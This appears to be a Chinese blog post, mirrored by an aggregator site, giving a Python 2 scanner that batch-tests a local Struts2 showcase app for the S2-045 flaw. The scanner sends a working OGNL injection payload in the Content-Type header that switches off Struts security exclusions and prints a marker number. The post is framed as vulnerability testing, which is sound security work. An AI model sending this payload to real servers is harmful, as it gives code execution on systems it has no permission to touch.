zoukankan      html  css  js  c++  java
  • 【Python】struts2-045批量检测

    0x00   环境

    存在struts2-045漏洞的war包

    apache-tomcat

    0x01   脚本

    #coding:utf-8
    
    import re
    import urllib
    import urllib2
    import linecache
    
    url="http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml"
    resp=urllib.urlopen(url).read()
    data=re.compile(r'href=.+"s').findall(resp)
    #读取网页中链接
    for i in data:
        link='http://127.0.0.1:8080/struts2-rest-showcase/'+i.split('"')[1]
        # with open('url.txt','a') as fw:
            # fw.write(link+'
    ')
        payload="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
        ua_headers={"user-agent":"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36","Content-Type":payload}
        try:
            req=urllib2.Request(link,headers=ua_headers)
            response=urllib2.urlopen(req).read()
            if '105059592' in response:
                print '存在struts2-045漏洞'+':'+'	'+link
        except Exception,e:
            print e

    我这里简单抓了一下网站的链接,然后批量检测,结果如下图:

  • 相关阅读:
    MVVM知识库总结
    C#常用类汇总
    silverlight调用MVC WebApi方法
    IE调试方法(一)<转>
    PHP中关于超链接的拼接问题
    intval()和(int)转换使用与区别
    ThinkPHP模板(一)
    修改ThinkSNS网站入口
    js中的this和apply
    Thinkphp的Volist标签
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/8734415.html
Copyright © 2011-2022 走看看